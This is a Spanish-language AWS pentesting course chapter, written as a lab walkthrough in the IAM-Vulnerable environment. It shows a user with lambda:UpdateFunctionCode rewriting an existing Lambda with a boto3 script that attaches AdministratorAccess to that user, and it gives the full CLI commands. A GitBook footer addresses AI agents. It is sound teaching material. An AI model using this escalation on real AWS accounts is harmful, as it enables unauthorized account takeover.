> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpna/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-lambda/vectores-de-escalacion-de-privilegios/editexistinglambdafunctionwithrole.md).

# EditExistingLambdaFunctionWithRole

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

<https://github.com/BishopFox/iam-vulnerable>
{% endhint %}

Un atacante con el permiso `lambda:UpdateFunctionCode` podría actualizar el código en una función Lambda existente con un rol de IAM adjunto para que importara la biblioteca de AWS relevante en ese lenguaje de programación y la usara para realizar acciones en nombre de ese rol.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

<figure><img src="/files/NU9tTfiJNcyJLSHlEt6O" alt=""><figcaption></figcaption></figure>

Este usuario tiene la siguiente política:

<figure><img src="/files/3xvDaHgednh66FDLhWlt" alt=""><figcaption></figcaption></figure>

Este usuario tiene el siguiente rol:

<figure><img src="/files/xeXcaBK7g5ZYFC9J8QrW" alt=""><figcaption></figcaption></figure>

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

{% code overflow="wrap" %}

```
aws iam list-attached-user-policies --user-name privesc17-EditExistingLambdaFunctionWithRole-user
```

{% endcode %}

<figure><img src="/files/UcJ9afC7YpSHVyz1O6jT" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/privesc17-EditExistingLambdaFunctionWithRole --version-id v1
```

{% endcode %}

<figure><img src="/files/t5dSPOTLphd6V7E6JUqu" alt=""><figcaption></figcaption></figure>

Para este escenario estaremos utilizando el siguiente rol:

<figure><img src="/files/XFm3mR8BFiyJ8tUlZDDq" alt=""><figcaption></figcaption></figure>

> Este rol será necesario para realizar la demostración de esta técnica y representará un rol privilegiado que será asociado a una lambda.

Para este escenario es necesario tener en nuestra infraestructura una lambda ya creada con cualquier funcionalidad integrada como, por ejemplo:

<figure><img src="/files/IPDecM27hZPTi5VZwqer" alt=""><figcaption></figcaption></figure>

Y como se indicó previamente, esta lambda tendrá el rol llamado privesc-high-priv-service-role.

<figure><img src="/files/U9HvcnnzZ29c4KejTJ8O" alt=""><figcaption></figcaption></figure>

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::037572360634:role/privesc17-EditExistingLambdaFunctionWithRole-role --role-session-name privesc17
```

{% endcode %}

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**privesc17-EditExistingLambdaFunctionWithRole-user**</mark>.

Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile privesc17
```

<figure><img src="/files/1DcB1cpH756dVWSxmZz4" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile privesc17
```

<figure><img src="/files/6e06q35AW8tLTFu1fYBX" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc17-EditExistingLambdaFunctionWithRole-user --profile privesc17
```

{% endcode %}

<figure><img src="/files/MeSgVNOWnmaV97bGU5r1" alt=""><figcaption></figcaption></figure>

En este escenario, tenemos que aprovechar del privilegio de `lambda:UpdateFunctionCode` para actualizar una función de lambda existente y añadirle código malicioso encargado de adjuntar una política de altos privilegios a nuestro usuario inicial.

Nosotros estaremos utilizando el lenguaje de programación llamado Python y la librería boto3.

{% hint style="info" %}
¿Qué es Boto3? Es una librería de python para facilitar la integración con los servicios de AWS (Amazon Web Services) tales como: S3, SES, DynamoDB, entre muchos otros.
{% endhint %}

#### **Referencia para Boto3:**

{% embed url="<https://boto3.amazonaws.com/v1/documentation/api/latest/index.html>" %}

Inicialmente, vamos a enumerar nuestra lambda existente con el siguiente comando:

<figure><img src="/files/YIxiWjkkC8tUtmPHDwlt" alt=""><figcaption></figcaption></figure>

Para actualizar el código de la función Lambda, el nombre del archivo que contiene el código debe coincidir con el nombre del *handler* de la función del Lambda existente. Para este caso, podemos apreciar que el nombre del *handler* es lambda\_function como se muestra en el resultado anterior. Por lo tanto, el nombre de nuestro archivo de código debe ser lambda\_function.py:

El código malicioso de la lambda es el siguiente:

```python
import boto3
def lambda_handler(event, context):
  client = boto3.client('iam')
  response = client.attach_user_policy(UserName='privesc17-EditExistingLambdaFunctionWithRole-user', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
  return response
```

Tendremos que guardar este código en un archivo con el nombre: lambda\_function.py

Posteriormente, tenemos que comprimir este script a un archivo comprimido llamado function.zip

Es importante resaltar, que debemos situarnos en el directorio que tiene alojado el archivo desde la terminal.

Para el próximo comando, estaremos actualizando el código de la lambda utilizando el script previamente indicado.

Ahora procedemos a actualizar una función de lambda con el siguiente comando:

{% code overflow="wrap" %}

```
aws lambda update-function-code --function-name FuncionHelloWorld --zip-file fileb://function.zip --profile privesc17
```

{% endcode %}

<figure><img src="/files/GCasWvgLiIoGVN15iDcL" alt=""><figcaption></figcaption></figure>

Cuando se ejecuta la función, se elevan los privilegios del atacante. Si el atacante tiene el permiso `lambda:InvokeFunction`, entonces es posible simplemente invocar la función directamente. De lo contrario, ocurrirá cuando otro usuario o servicio ejecute la función. En el siguiente ejemplo, otro usuario ejecuta la función.

El siguiente comando muestra a otro usuario de AWS invocando la lambda.

*Tenga en cuenta, que en este comando falta el parámetro profile, lo que indica que esta ejecución se realizara utilizando otro usuario.*

```
aws lambda invoke --function-name FuncionHelloWorld output.txt
```

<figure><img src="/files/SXb1CyJu3OcPcv7YG4gr" alt=""><figcaption></figcaption></figure>

Después de la invocación de la función de lambda, podemos revisar el contenido de nuestro archivo llamado output.txt

<figure><img src="/files/V2uIAf7sPeXcSBLMZEDN" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos identificar el código HTTP 200 y esto significa que la petición fue realizada e interpretada de manera exitosa.

Para finalizar, vamos a validar los permisos para el usuario inicial:

<figure><img src="/files/ixBSz1trgSid5HJzUtyL" alt=""><figcaption></figcaption></figure>

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-lambda/vectores-de-escalacion-de-privilegios/editexistinglambdafunctionwithrole.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
